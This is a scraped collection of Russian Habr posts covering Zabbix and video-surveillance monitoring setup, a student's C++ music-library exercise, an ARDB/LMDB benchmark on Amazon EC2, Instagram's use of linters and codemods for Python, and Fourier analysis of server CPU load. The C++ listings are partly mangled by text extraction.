У нас появились стандартные триггеры, по которым можно настроить действия. Например:
зайдем в «Настройка» – «Действия» – «Источник событий» – «Триггеры» – «Создать действие».
> «Имя» – High load CPU.
Удалим стандартное условие и добавим новое.
В «Операции», так же как и раньше, настроим получение сообщений email.
Таким образом, мы будем получать уведомления при высокой загрузке ЦП на этом узле.
Полную инструкцию по агенту можно получить тут.
Шаблоны для мониторинга сервера
-------------------------------
Стандартные шаблоны могут очень помочь сэкономить время. Но лучше все-таки пользоваться своими шаблонами.
**Например, создадим шаблон для мониторинга количества свободной памяти.**Добавим еще одну группу с названием My test server и шаблон с названием Test agent.
Поместим нашу группу в шаблон и создадим в нем новый элемент данных.
> «Имя» – меняем например на My Free memory.
>
>
>
>
> ```
> «Ключ» – выбираем vm.memory.size[], вместо ставим available.
> ```
>
>
> Посмотреть полный список режимов можно в официальной документации.
>
>
>
> «Тип информации» – «Числовой» (целое положительное).
>
>
>
> «Единица измерения» – «B» (байты).
>
>
>
> «Интервал обновления» – 10 m.
>
>
>
> «Период хранения истории» – ставим количество дней, которое хотим хранить историю, например 3 d.
>
>
>
> «Период хранения динамики изменений» – меняем на 10 d.
>
>
Нажимаем «Добавить», добавляем триггер.
> «Имя» – Not enough free memory.
>
>
>
> «Важность» – высокая.
>
>
>
> В поле «Выражение» добавляем наш элемент данных, далее выбираем функцию «Последнее (самое новое) T значение < N» (значение N ставим «1000000000»).
>
>
Таким образом, когда количество свободной памяти будет меньше 1 Гб, сработает наш триггер.
После добавления элемента данных нажимаем «Добавить».
Присоединяем этот шаблон к нашему узлу сети, как делали это ранее.
Для наглядности создаем график, название для которого можно задать на русском языке, например «Свободная память».
Создаем действие с отправкой уведомления на почту.
**Мониторинг доступности камер**В системе видеонаблюдения «Линия» имеется возможность посылать простые GET-запросы серверу и получать от него ответ, что окажет нам заметную помощь в мониторинге системы. С полной спецификацией можно ознакомиться по ссылке: [devline.ru/aboutweb](https://devline.ru/aboutweb/).
Давайте рассмотрим запрос на получение отдельного кадра с камеры № 9 на нашем сервере.
Общий вид запроса (нумерация камер с 0)
```
http://localhost:9786/cameras/8/image
```
Переходим в меню «Настройка» – «Шаблоны». У шаблона нажмем на «Веб», далее «Создать веб-сценарий».
С полным описанием полей можно ознакомиться тут.
Заполняем поля:
> «Имя» – Check camera office;
>
>
>
> «Интервал обновления» – 5 m;
>
>
>
> «Попыток» – 3;
>
>
>
> «Агент» – Zabbix.
Переходим в раздел «Шаги» и добавляем шаг со следующими характеристиками:
> «Имя» – придумываем имя шага;
>
>
>
> «URL» – из спецификации берем запрос на получение кадра: [127.0.0.1](http://127.0.0.1):9786/cameras/8/image»;
>
>
>
> «Следовать перенаправлениям» – снимаем галочку;
>
>
>
> «Загружать только заголовки» – отмечаем;
>
>
>
> «Время ожидания» – 15 s;
>
>
>
> «Требуемые коды состояния» – 200.
Переходим в раздел «Аутентификация»:
> «HTTP-аутентификация» – простая;
>
>
>
> «Пользователь» и «Пароль» – данные для подключения к серверу «Линия».
Нажимаем «Добавить».
Переходим в «Мониторинг» – «Веб».
Видим наш веб-мониторинг.
Теперь в этом шаблоне создадим триггер.
> «Имя» – указываем имя для нашего триггера.
>
>
>
> «Выражение» – создаем выражение с элементом данных Failed step of scenario – Check camera office.
>
>
>
> «Функция» – «Последнее (самое новое) T значение NOT N».
>
>
>
> «N» – устанавливаем 200.
Нажимаем «Добавить».
Далее настроим действие с нашим триггером.
Выключим камеру и проверим почту.
«Линия Облако»
--------------
Также дополнительно мониторинг доступности сервера можно настроить с помощью [бесплатного сервиса «Линия Облако»](https://devline.ru/cloud/). Для этого необходимо зарегистрировать сервер на базе программного обеспечения «Линия» в сервисе.
Для этого открываем «Наблюдательный пост», затем заходим в меню «Администрирование», во вкладке «Сеть» выбираем пункт «Сервисы».
Следующим шагом необходимо поставить галочку «Включить Dynamic DNS», ввести действующий адрес электронной почты, желаемое доменное имя и нажать кнопку «Зарегистрировать».
Далее на указанный ящик будет выслан код подтверждения, который необходимо ввести для завершения регистрации.
После ввода кода необходимо нажать кнопку «Подтвердить».
На этом процесс включения сервиса Dynamic DNS и регистрации доменного имени завершен.
Далее заходим в сервис «Линия Облако» и переходим во вкладку «Мониторинг». Здесь ставим галочку «Включить мониторинг» и вводим email, на который будут приходить письма. Также можно указать телефонный номер для отправки sms-сообщений (стоимость одного СМС составит 3 рубля).
Реакции
-------
Мониторинг камер можно настроить с помощью реакций в самом программном обеспечении «Линия».
Для этого нужно зайти в «Администрирование» – «Реакции» – «Добавить реакцию».
> Время – оставляем «Всегда».
>
> Условие – «Пропал сигнал с камеры».
>
> Действие – «Отправить электронное письмо».
Заполняем свою почту, выбираем, с какой камеры отправлять кадры, и ставим интервал в 5 минут.
Zabbix и видеонаблюдение
------------------------
Итак, мы рассмотрели основные способы работы с системой мониторинга zabbix. Это далеко не все её возможности, но мы надеемся, что данная статья принесла вам пользу и была интересной. Надеемся, что с этими знаниями вы сможете самостоятельно продолжить настраивать мониторинг своей системы видеонаблюдения. Если остались вопросы, мы с удовольствием ответим на них в комментариях.
Также предлагаем поделиться в комментариях своим опытом. Какие инструменты для мониторинга сети/серверов/роутеров/сайтов вы используете? | https://habr.com/ru/post/371325/ | null | ru | null |
# Работа со структурами или как я учился писать читабельный код
#### С чего все началось
Я студент технического университета и учусь по направлению: «Высшая математика, информатика и математическое моделирование». Так как я учусь только на втором курсе — мой код совершенным назвать очень сложно. В прошлом семестре мы изучали такую дисциплину как «Современные парадигмы программирования». На одной из лекций мы рассматривали [ООП](http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) на примере С++ и получили задание написать псевдо-музыкальную библиотеку с использованием структур.
#### Задание и первая версия программы
Программа должна была использовать структуру из 5-ти полей:
**Поле №1:** номер записи;
**Поле №2:** название трека;
**Поле №3:** имя исполнителя;
**Поле №4:** время звучания;
**Поле №5:** год записи.
Это должна была быть консольная программа, все данные в которую вводятся с клавиатуры или с текстового файла (по желанию писавшего). Вводимые данные сохраняются в память компьютера или в файл соответственно. Также программа должна исполнять такие команды:
**Поиск:** по номеру, названию, исполнителю, времени и году записи а также вывод всех записей на экран;
**Изменение данных:** удаление, редактирование и добавление новых записей;
**Редактирование:** возможность изменения всех полей кроме номера записи.
После почти двух недель лени был написан такой код (большинство выводимого текста написано транслитом, потому что в школе учил немецкий язык, а не английский):
**То что может заставить Вас ужаснутся!**
```
#include
#include
#include
struct Muslib{
int num;
std::string name;
std::string artist;
std::string time;
short jear;};
using namespace std;
int main(int argc, char \*argv[])
{ Muslib muslib[100];
int kil;
cout<<"Vvedit' kil'kist pisen' yaku bazhaete dodaty u bazu dannyh: ";
cin>>kil;
for(int i=1; i<=kil; i++){
muslib[i].num=i;
cout<<"Input name: ";
cin>>muslib[i].name;
cout<<"Input artist: ";
cin>>muslib[i].artist;
cout<<"Enter time: ";
cin>>muslib[i].time;
cout<<"Enter jear: ";
cin>>muslib[i].jear;
cout<>command;
if(command=="num"){
cout<<"Enter num: ";
cin>>n;
cout<<"Number "<>str[15];
for(int i=0; i>str[10];
for(int i=0; i>str[10];
for(int i=0; i>jahr;
for(int i=0; i>kill;
for(int i=kil+1; i<=kil+kill; i++){
muslib[i].num=i;
cout<<"Input name: ";
cin>>muslib[i].name;
cout<<"Input artist: ";
cin>>muslib[i].artist;
cout<<"Enter time: ";
cin>>muslib[i].time;
cout<<"Enter jear: ";
cin>>muslib[i].jear;}
kil=kil+kill;//kilkist elem
}
if(command=="all"){
for(int i=1; i<=kil; i++){
cout<<"Number "<>n;
cout<<"Number "<>pole;
if(pole=="name") cin>>muslib[n].name;
if(pole=="artist") cin>>muslib[n].artist;
if(pole=="time") cin>>muslib[n].time;
if(pole=="jear") cin>>muslib[n].jear;
if(pole!="name"&pole!="artist"&pole!="time"&pole!="jear") cout<<"Pole not found :("<>n;
muslib[n].num=0;
for(int i=1; i<=kil; i++){
if(muslib[i].num!=i){
muslib[i].num=i;
muslib[i].name=muslib[i+1].name;
muslib[i].artist=muslib[i+1].artist;
muslib[i].time=muslib[i+1].time;
muslib[i].jear=muslib[i+1].jear;
muslib[i+1].num=0;
}
}
kil=kil-1;
}
}
system("PAUSE");
return EXIT\_SUCCESS;
}
```
Несмотря ни на что, этот мой *говнокод* пыталось выдавать за свой большинство студентов нашей группы. Результатом этого стало нахождение более чем 10 багов и явное непонимание ими того, за что они пытаются получить оценку. Но свою главную задачу — получение оценки, эта программа выполнила на отлично.
#### Полная модернизация и версия 2.0
Прошло уже более 2-х месяцев после сдачи этой программы и месяц после сдачи экзамена по этому предмету. Сидя на каникулах дома и скучая за быстрым интернетом в общежитии, родилась гениальная идея переписать данную программу с использованием функций. Это было мое больное место. За полтора года обучения я так и не научился их использовать. Вооружившись 3G модемом и вечным [google](http://google.com), начал искать примеры использования функций в С++. Через 3 часа серфинга по интернету и параллельного написания кода в [Dev-C++](http://ru.wikipedia.org/wiki/Dev-C%2B%2B), я смог понять как это работает. Прошло еще 7 часов и программа была практически полностью переписана с использованием функций. Теперь она была разделена на 3 файла и имела кода на 100 строк больше:
**muslibrary.h**
```
#ifndef MUSLIBRARY_H
#define MUSLIBRARY_H
#include
#include
#include
using namespace std;
struct MusLib{
int num;
std::string name;
std::string artist;
std::string time;
short jear;};
void AddPositionf(int,int);
void helpf(void);
void helpref(void);
void numf(int,int);
void namef(std::string,int);
void artistf(std::string,int);
void timef(std::string,int);
void jearf(short,int);
void ref(int,int);
void allf(int);
int delf(int,int);
#endif /\* MUSLIBRARY\_H \*/
```
**MusikLibrary.cpp**
```
#include "muslibrary.h"
int position;
int main(int argc, char *argv[])
{
cout<<"Enter the number of positions: ";
cin>>position;
AddPositionf(0,position); //Функция заполнения структуры
string cmd;
while(cmd!="exit"){
cout<<"Enter command (Enter 'help' to help): ";
cin>>cmd;
if(cmd=="help") helpf(); //Функция помощи
else if(cmd=="help_re") helpref(); //Функция помощи по переименованию
else if(cmd=="num") { //Поиск по номеру
int number;
cin>>number;
numf(number,position);
}
else if(cmd=="name"){ //Поиск по имени
std::string name;
cin>>name;
namef(name,position);
}
else if(cmd=="artist"){ //Поиск по артисту
std::string artist;
cin>>artist;
artistf(artist,position);
}
else if(cmd=="time"){ //Поиск по времени
std::string time;
cin>>time;
timef(time,position);
}
else if(cmd=="jear"){ //Поиск по году
short jear;
cin>>jear;
jearf(jear,position);
}
else if(cmd=="re"){ //Переименовать
int re;
cin>>re;
ref(re,position);
}
else if(cmd=="add"){ //Добавить
int add;
cin>>add;
AddPositionf(position,position+add);
position=position+add;
}
else if(cmd=="all") //Показать все
allf(position);
else if(cmd=="del"){ //Удалить позицию
int del;
cin>>del;
if(del>0&&del
```
**MusFunc.cpp**
```
#include "muslibrary.h"
MusLib muslib[100];
void AddPositionf(int epos,int pos){
if(epos>=0&&epos>muslib[i].name;
cout<<"Enter artist: ";
cin>>muslib[i].artist;
cout<<"Enter time: ";
cin>>muslib[i].time;
cout<<"Enter jear: ";
cin>>muslib[i].jear;
cout< |find position |"< |find name |"< |find artist |"< |find time |"< |rename num |"< |delete num |"< |add position |"<n-1&&n!=0){
cout<<"Position "<0&#<=pos){
std::string str;
short jear;
cout<<"Rename help - enter command \"help\_re\"!"<>str;
if(str!="NaN") muslib[num-1].name=str;
cout<<"Enter new Artist: ";
cin>>str;
if(str!="NaN") muslib[num-1].artist=str;
cout<<"Enter new Time: ";
cin>>str;
if(str!="NaN") muslib[num-1].time=str;
cout<<"Enter new Jear: ";
cin>>jear;
if(jear!=0000) muslib[num-1].jear=jear;
}
else cout<<"Position not found!\n"<
```
Второй вариант также не идеален, но по сравнению с первым будет куда лучше. Кроме того здесь я вооружился переводчиком и пытался писать максимально красиво. Всю критику и возможность упрощения или улучшения приму с пониманием. | https://habr.com/ru/post/168075/ | null | ru | null |
# Как неправильно протестировать производительность NoSQL БД в Amazon
Пост рассказывает о моем ~~неудачном~~ тесте производительности, а также показывает пару ~~неправильных~~ цифр производительности [ARDB](https://github.com/yinqiwen/ardb) c встраиваемой БД [LMDB](https://symas.com/lmdb/) в Amazon EC2 контейнерах.
Откуда ноги растут
------------------
В проекте ожидается что время от времени нужно будет писать тысячи рядов в БД за минимальное время. Нагружать основную БД естественно не хочется, после небольшого копания понравилась [LMDB](https://symas.com/lmdb/). A [ARDB](https://github.com/yinqiwen/ardb) — это обертка которая позволяет достучаться до последней как до Redis
К сожалению не смог найти тесты перфоманса данного чуда в Amazon ec2, поэтому решил посмотреть-проверить сам
### DISCLAIMER
Пост не о выборе NoSQL БД… Только одна БД тестировалась на разных конфигурациях
Оборудование и установка
------------------------
Тесты выполнялись в 4 конфигурациях
* два t2.micro инстанса (в рамках Free Tier) — инстансы слабенькие, когда кредиты есть — дают 100% одного CPU, базовая производительность — 10% CPU
+ *GP2 SSD volume* — самый медленный SSD, базовая скорость — 100 IOPS,
(*но может время от времени давать до 300,000 IOPS*)
+ *IO2 SSD volume + 3000 Provisioned IOPS* — гарантированные 3000 операций с диском в секунду
+ *IO2 SSD volume + 6000 Provisioned IOPS* — гарантированные 6000 операций с диском в секунду
* i3.large БД + m4.xlarge USER — i3.large инстанс имеет выделенный NVMe SSD, который очень быстр
Все компоненты для тестов компилировались из исходников.
Типичный сценарий установки:
```
yum install git
yum install gcc
git checkout git://smth
cd smth
make
```
Ошибки
------
Основная ошибка — не было планирования… была только идея. Также не учел особенностей Amazon, что большинство сервисов, дают burst при старте активного использования, а потом производительность снижается, это относиться к:
* Скорости работы диска
* Скорости сети
* Скорости процессора, для инстансов с повышаемой производительностью
* Очень вряд-ли к оперативке, но все может быть
В результате ошибочного выбора инстансов — часто CPU тестируемого сервера не был загружен полностью
В идеале стоило бы имитировать реальный способ использования, но времени как всегда нет…
Без учета всех этих моментов, все цифры, приведенные ниже, только ориентировочные, синтетика господа.
Замеры
------
### Малый набор данных
Набор данных скромный, ждать не хотелось, а получить оценку — да, хотелось.
Кол-во ключей: 1,000,000 ключей (читай 650к записей в БД)
Клиентов: 50
Размер записи: 3,000 байт
Тестировалось несколькими последовательными командами:
```
# наполнить БД
./redis-benchmark -n 1000000 -r 1000000 -h ec2-xx-xx-xx-xx.eu-west-2.compute.amazonaws.com -p 16379 -t set -d 3000
# измерить скорость чтения 100k
./redis-benchmark -n 1000000 -r 100000 -h ec2-xx-xx-xx-xx.eu-west-2.compute.amazonaws.com -p 16379 -t get -d 3000
# измерить скорость чтения 1m
./redis-benchmark -n 1000000 -r 1000000 -h ec2-xx-xx-xx-xx.eu-west-2.compute.amazonaws.com -p 16379 -t get -d 3000
```
| | | |
| --- | --- | --- |
| Характеристика | t2.micro | i3.large |
| GP2 | IO1 |
| 3000 PIOPS | 6000 PIOPS |
| Цена сервера | $10 | $10 | $10 | $130 |
| Цена диска | $1 | $9\*\* | $18\*\* | $1 |
| Цена PIOPS | - | $195 | $390 | - |
| **Цена, итого** | **$11** | **$214** | **$418** | **$131** |
| CPU | 10-100% | 10-100% | 10-100% | 200% |
| ОЗУ | 1GB | 1GB | 1GB | 16GB |
| IOPS | 100,
до 300,000 в burst | 3,000 | 6,000 | 100,000 |
| Запись, постоянная нагрузка | 700 (disk throttled)
1,700 (CPU throttled) | 1,300 | 2,300 | 27,000\*\*\* |
| Запись, burst | 2,700 | 10,000 | >10,000 | |
| Чтение из 100k набора, stable load | <4,000 | 11,000\* | 21,000\* | |
| Чтение из 100k набора, burst | 35,000 | | | |
| Чтение из 1m набора, stable load | <4,000 | 3,000 | 5,000 | 43,000\*,\*\*\* |
| Чтение из 1m набора, burst | 6,000 | | | |
\* все данные помещаются в оперативную память
\*\* ограничение Amazon, не более 50 PIOPS на гигабайт
\*\*\* читай «не менее чем», узкое место в этих тестах — скорость передачи с сервера где был запущен redis-benchmark
### i3.large
Здесь тестирование проводилось на разных размерах БД
| | |
| --- | --- |
| Характеристика | Размер БД, ключей |
| 100k | 1m | 10m | 30m |
| **Скорость чтения** | **41,407** | **42,977** | **43,220** | **17,286\*** |
| Задержка чтения, до 1ms | 60.14% | 62.34% | 60.27% | 2.88% |
| Задержка чтения, до 5ms | 99.97% | 100.00%\*\* | 99.99% | 99.16% |
| Максимальная задержка чтения | 6ms\*\* | 3ms\*\* | 13ms\*\* | 14ms\*\* |
| **Скорость записи** | **34,831** | **26,911** | **15,967\*** | **10,353\*** |
| Задержка записи, до 1ms | 11.96% | 8.66% | 5.22% | 2.88% |
| Задержка записи, до 5ms | 99.53% | 97.50% | 96.15% | 82.65% |
| Задержка записи, до 50ms | 100% | 99.99% | 99.74% | 99.68% |
| Задержка записи, до 100ms | 100%\*\* | 99.99% | 99.84% | 99.75% |
| Задержка записи, до 300ms | 100%\*\* | 99.99% | 99.94% | 99.87% |
| Задержка записи, до 500ms | 100%\*\* | 100% | 99.96% | 99.91% |
| Максимальная задержка записи | 17ms\*\* | 604ms | 3104ms | 5059ms |
\* читай «не менее чем», узкое место в этих тестах — скорость передачи с сервера где был запущен redis-benchmark
\*\* выброшены результаты, для которые задержаны ровно на 200ms по неясной причине, сваливаем вину на Amazon окружение
Выводы
------
* Хороший перфоманс для t2.micro инстанса с gp2 диском, за $11 в месяц можно получить БД которая стабильно обрабатывает 1,000 write запросов в секунду, и время от времени дает до 3,000 WPS что достаточно для многих приложений
* Теоретически производительность ARDB+LMDB на запись когда в БД уже миллион записей можно считать как `diskIOPS / 3`
* Диски IO1 с Provisioned IOPS не оправдали себя, гораздо дешевле взять оптимизированный инстанс с локальным SSD
* Для i3.large инстанса — цифры приличные (для $130 за месяц)
Спасибо, надеюсь будет полезно кому-нибудь мое ~~даром~~ потраченное время. | https://habr.com/ru/post/341778/ | null | ru | null |
# Статический анализ больших объёмов Python-кода: опыт Instagram. Часть 2
Сегодня публикуем вторую часть перевода материала, посвящённого статическому анализу больших объёмов серверного Python-кода в Instagram.
[](https://habr.com/ru/company/ruvds/blog/473770/)
→ [Первая часть](https://habr.com/ru/company/ruvds/blog/473766/)
Программисты, которые устали от линтинга
----------------------------------------
Учитывая то, что у нас имеется около сотни собственных правил линтинга, педантичный учёт рекомендаций, выдаваемых этими правилами, может быстро вылиться в пустую трату времени разработчиков. Время, которое уходит на выправление стиля кода или на избавление от устаревших паттернов, лучше было бы потратить на создание чего-то нового и на развитие проекта.
Мы обнаружили, что когда программисты видят слишком много уведомлений, поступающих от линтера, они начинают все эти сообщения игнорировать. Это относится и к важным уведомлениям.
Предположим, мы решили признать устаревшей функцию `fn` и использовать вместо неё функцию с более удачным именем — `add`. Если не сообщить об этом разработчикам — они не узнают о том, что функцию `fn` им больше использовать не нужно. А ещё хуже то, что они не узнают о том, что нужно использовать вместо этой функции. В этой ситуации можно создать правило линтера. Но любая большая кодовая база уже будет содержать множество правил. В результате есть вероятность того, что важное уведомление линтера потеряется в куче уведомлений о мелких недочётах.
*Линтер слишком сильно придирается к мелочам и «полезный сигнал» легко может потеряться в «шуме»*
Что же нам с этим делать?
Можно автоматически исправить множество проблем, обнаруженных линтером. Если сам линтер можно сравнить с документацией, которая появляется там, где она нужна, то такие вот автоматические исправления — это нечто вроде рефакторинга кода, который выполняется там, где в нём возникает необходимость. Учитывая большое количество разработчиков, трудящихся в Instagram, практически невозможно обучить каждого из них нашим лучшим методикам написания кода. Добавление в систему возможностей по автоматическому исправлению кода позволяет нам обучать разработчиков новым методикам тогда, когда они об этих методиках не знают. Это помогает нам быстро вводить разработчиков в курс дела. Автоматические исправления, кроме того, позволили нам сделать так, чтобы программисты были бы сосредоточены на важных вещах, а не распыляли бы внимание на однообразные мелкие правки кода. В целом можно отметить, что автоматические исправления кода — это более эффективно и полезно в плане обучения разработчиков, нежели простые уведомления линтера.
Итак, как же создать систему автоматического исправления кода? Линтинг, основанный на синтаксическом дереве, даёт нам сведения о неблагополучном узле. В результате нам не нужно создавать логику для обнаружения проблем, так как у нас уже имеются соответствующие правила линтера! Так как мы знаем о том, какой именно узел нас не устраивает, и о том, где именно расположен его исходный код, мы можем, не рискуя что-то испортить, например, заменить имя функции `fn` на `add`. Это хорошо подходит для исправления единичных нарушений правил, выполняемого по мере обнаружения таких нарушений. А как быть, если мы вводим новое правило линтера, что означает, что в кодовой базе могут быть сотни фрагментов кода, которые этому правилу не соответствуют? Можно ли заблаговременно исправить все эти несоответствия?
Кодмоды
-------
Кодмод (codemod) — это всего лишь способ поиска проблем и внесения изменений в исходный код. Кодмоды основаны на скриптах. Кодмод можно представить себе как «рефакторинг на стероидах». Диапазон задач, решаемых кодмодами, чрезвычайно широк: от простых, вроде переименования переменной в функции, до сложных, таких, как переписывание функции так, чтобы она принимала бы новый аргумент. При работе кодмода используются те же концепции, что и при работе линтера. Но вместо того, чтобы сообщать программисту о проблеме, как это делает линтер, кодмод автоматически эту проблему решает.
Как написать кодмод? Рассмотрим пример. Здесь мы хотим отказаться от использования `get_global`. В этой ситуации можно использовать и линтер, но неизвестно будет — сколько времени уйдёт на исправление всего кода, к тому же, эта задача будет распределена между множеством разработчиков. При этом, даже если в проекте используется система автоматического исправления кода, на то, чтобы обработать весь код, может потребоваться некоторое время.
*Мы хотим отойти от использования get\_global и вместо этого пользоваться переменными экземпляра*
Для решения этой проблемы мы можем, вместе с правилом линтера, её обнаруживающим, написать и кодмод. Мы полагаем, что если позволить устаревшим паттернам и API постепенно покидать код — это будет отвлекать разработчиков и ухудшать читабельность кода. Мы предпочитаем сразу убрать устаревший код, а не наблюдать за тем, как он постепенно исчезает из проекта.
Учитывая объёмы нашего кода и количество активных разработчиков, это часто означает автоматическое устранение устаревших конструкций. Если мы в состоянии быстро очищать код от устаревших паттернов, это значит, что мы можем поддерживать продуктивность всех разработчиков Instagram.
Итак, как же сделать кодмод? Как заменить лишь интересующий нас фрагмент кода, сохранив при этом комментарии, отступы и всё остальное? Существуют средства, основанные на конкретном синтаксическом дереве (вроде того, что создаёт LibCST), которые позволяют с хирургической точностью модифицировать код и сохранять в нём все вспомогательные конструкции. В результате, если нам надо поменять имя функции с `fn` на `add` в нижеприведённом дереве, то мы можем записать в узел `Name` имя `add` вместо `fn`, а затем записать дерево на диск!
*Кодмод можно сделать, записав в узел Name имя add вместо имени fn. Потом изменённое дерево можно записать на диск. Подробности об этом можно почитать в [документации](https://libcst.readthedocs.io/en/latest/usage.html) к LibCST*
Теперь, когда мы немного познакомились с кодмодами, давайте взглянем на практический пример. Сотрудники Instagram упорно трудятся для того, чтобы сделать кодовую базу проекта полностью типизированной. Кодмоды серьёзно помогают им в этом деле.
Если у нас имеется некоторый набор нетипизированных функций, которые нужно типизировать, мы можем попытаться сгенерировать возвращаемые ими типы путём обычного вывода типов! Например, если функция возвращает значения лишь одного примитивного типа — мы просто назначаем функции этот тип возвращаемого значения. Если функция возвращает значения логического типа, например, если она что-то с чем-то сравнивает или что-то проверяет, то мы можем назначить ей тип возвращаемого значения `bool`. Мы обнаружили, что в ходе практической работы с кодовой базой Instagram это — довольно-таки безопасная операция.
*Выяснение типов значений, возвращаемых функциями*
А что если функция явно никакого значения не возвращает, или неявно возвращает `None`? Если функция ничего явно не возвращает — ей можно назначить тип `None`.
Это, в отличие от предыдущего примера, может быть более опасным из-за существования распространённых паттернов, которые используют разработчики. Например, в методе базового класса можно выбросить исключение `NotImplemented`, а в методах подклассов, переопределяющих этот метод можно вернуть строку. Важно отметить, что все эти техники являются эвристическими, но результаты их применения достаточно часто оказываются правильными. В результате их можно признать полезными.
*Функции, которые ничего не возвращают*
Расширение возможностей кодмодов с помощью Pyre
-----------------------------------------------
Продвинемся на шаг вперёд. В Instagram используется Pyre — полномасштабная система для статической проверки типов, похожая на mypy. Применение Pyre позволяет нам проверять типы в кодовой базе. Что если бы мы использовали данные, генерируемые Pyre, для того, чтобы расширить возможности кодмодов? Ниже приведён пример таких данных. Несложно заметить, что тут есть практически всё, что нужно для автоматического исправления аннотаций типов!
```
$ pyre
ƛ Found 2 type errors!
testing/utils.py:7:0 Missing return annotation [3]: Returning `SomeClass` but no return type is specified.
testing/utils.py:10:0 Missing return annotation [3]: Returning `testing.other.SomeOtherClass` but no return type is specified.
```
Pyre в ходе работы выполняет детальный анализ порядка выполнения каждой функции. В результате этот инструмент может иногда с очень высокой долей вероятности сделать предположение о том, что должна возвращать неаннотированная функция. Это означает, что если Pyre полагает, что функция возвращает простой тип — мы назначаем данной функции этот тип возвращаемого значения. Однако теперь нам, в потенциале, нужно обрабатывать и команды импорта. Это означает, что нам нужно знать, импортировано ли что-то или объявлено локально. Позже мы кратко затронем эту тему.
Какие преимущества мы получим от автоматического добавления в код сведений о типах, которые легко выводятся? Ну, типы — это документация! Если функция полностью типизирована, то разработчику не придётся читать её код для того, чтобы выяснить особенности её вызова и особенности использования того, что она возвращает.
```
def get_description(page: WikiPage) -> Optional[str]:
if page.draft:
return None
return page.metadata["description"] # <- что это за тип?
```
Многие из нас сталкивались с похожим Python-кодом. В кодовой базе Instagram тоже встречается нечто подобное. Если функция `get_description` была бы нетипизирована, то понадобилось бы заглянуть в несколько модулей для того, чтобы выяснить то, что она возвращает. При этом, даже если речь идёт о более простых функциях, типы возвращаемых значений которых легко вывести, их типизированные варианты воспринимаются легче, чем нетипизированные.
Кроме того, Pyre не проверяет корректность работы тела функции в том случае, если функция не является полностью аннотированной. В следующем примере вызов `some_function` окажется неудачным. Об этом хорошо было бы знать до того, как код попадёт в продакшн.
```
def some_function(in: int) -> bool:
return in > 0
def some_other_function():
if some_function("bla"): # <- тут должно быть обнаружено нарушение
print("Yay!")
```
В данном случае о подобной ошибке мы вполне можем узнать уже после того, как код ушёл в продакшн. Дело в том, что у `some_other_function` нет аннотации типа возвращаемого значения. Если бы мы аннотировали её с помощью наших эвристических механизмов, используя автоматически выведенный тип `None`, то мы обнаружили бы неувязку с типами ещё до того, как она могла бы вызвать какие-то проблемы. Это, конечно, искусственный пример, но в Instagram подобные проблемы — это серьёзно. Если у вас имеются миллионы строк кода, то вы, в процессе код-ревью, вполне можете упустить такие вот вещи, которые кажутся совершенно очевидными в простом примере.
В Instagram вышеописанные методики, основанные на автоматически выводимы типах, позволили типизировать около 10% функций. В результате людям больше не нужно было вручную править тысячи и тысячи функций. Преимущества типизированного кода очевидны, но это, в контексте нашего разговора, ведёт к ещё одному важному преимуществу. Полностью типизированная кодовая база открывает ещё более широкие возможности для обработки кода с помощью кодмодов.
Если мы доверяем аннотациям типов, это значит, что Pyre может открыть нам дополнительные возможности. Взглянем снова на тот пример, где мы переименовывали функции. Что если сущность, которую мы переименовываем, представлена методом класса, а не глобальной функцией?
*Функция является методом класса*
Если объединить информацию о типах, полученную от Pyre, и кодмод, выполняющий переименование функций, можно, неожиданно для себя, внести исправления и туда, где функция вызывается, и туда, где она объявлена! В данном примере, так как мы знаем о том, что располагается в левой части конструкции `a.fn`, мы знаем и о том, что можно безопасно поменять эту конструкцию на `a.add`.
Более продвинутый статический анализ
------------------------------------
*В Python есть четыре типа областей видимости: глобальная область видимости, области видимости уровня классов и функций, вложенная область видимости*
Анализ областей видимости позволяет нам использовать ещё более мощные кодмоды. Помните один из вышеприведённых примеров, где мы говорили о том, что добавление аннотаций типов может означать и необходимость работы с командами импорта? Если в системе выполняется анализ областей видимости, это значит, что мы можем знать о том, какие типы, используемые в файле, присутствуют в нём благодаря командам импорта, какие объявлены локально, а какие — отсутствуют. Аналогично, если известно, что глобальная переменная перекрывается аргументом функции, можно избежать случайного изменения имени такого аргумента при переименовании глобальной переменной.
Итоги
-----
В нашем стремлении к исправлению всех ошибок в коде Instagram мы поняли одну вещь. Она заключается в том, что поиск кода, который нужно исправить, часто важнее, чем само исправление. Программистам нередко приходится решать простые задачи — вроде переименования функций, добавления аргументов к методам или разделения модулей на части. Всё это — обычные дела, но размеры нашей кодовой базы означают, что человек не сможет найти каждую строку, которую нужно изменить. Именно поэтому так важно совмещение возможностей кодмодов с надёжным статическим анализом. Это позволяет нам увереннее находить те участки кода, которые нужно менять, а значит — позволяет делать кодмоды безопаснее и мощнее.
**Уважаемые читатели!** Используете ли вы кодмоды?
[](https://ruvds.com/vps_start/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/473770/ | null | ru | null |
# Спектральный анализ сервера
Что будет, если к **Perfmon** применить быстрое преобразование Фурье? Или функцию корреляции? Получится *#черте\_что!*
У меня есть сервер, на котором идет много периодических процессов. Если записать его CPU с разрешением 1 секунда, то получится примерно вот что:
Мы видим некую периодичность, но как лучше увидеть ee в чистом виде, очистить от шума?
Первое, что мне пришло в голову, это быстрое преобразование Фурье:
```
import csv
import numpy as np
import matplotlib.pyplot as plt
import scipy.fftpack
...
N = len(cpu)
x = np.linspace(0.0, N/60., N)
yf = scipy.fftpack.fft(cpu)
```
Нас интересуют частоты порядка минут, поэтому ограничим ось x соответственно:
Четко видны '*собственные частоты'*, на которых '*звучит*' ваш сервер. С многими пиками я могу связать *job schedule*. Но гармоник здесь слишком много, и вторая идея, которая мне пришла в голову такова: для того, чтобы понять периодичность, применим самокорреляцию (ненормированную):
```
import numpy as np
import matplotlib.pyplot as plt
...
x2 = np.linspace(-N/2/60., N/2/60., N)
corr = np.correlate(cpu,cpu,mode='same')
```
Мне кажется что на данном графике сердцебиение вашего сервера видно наиболее явно. Для сравнения построим те же графики для другого сервера с другим профилем нагрузки, где она флуктирует, но нет явной периодичности:
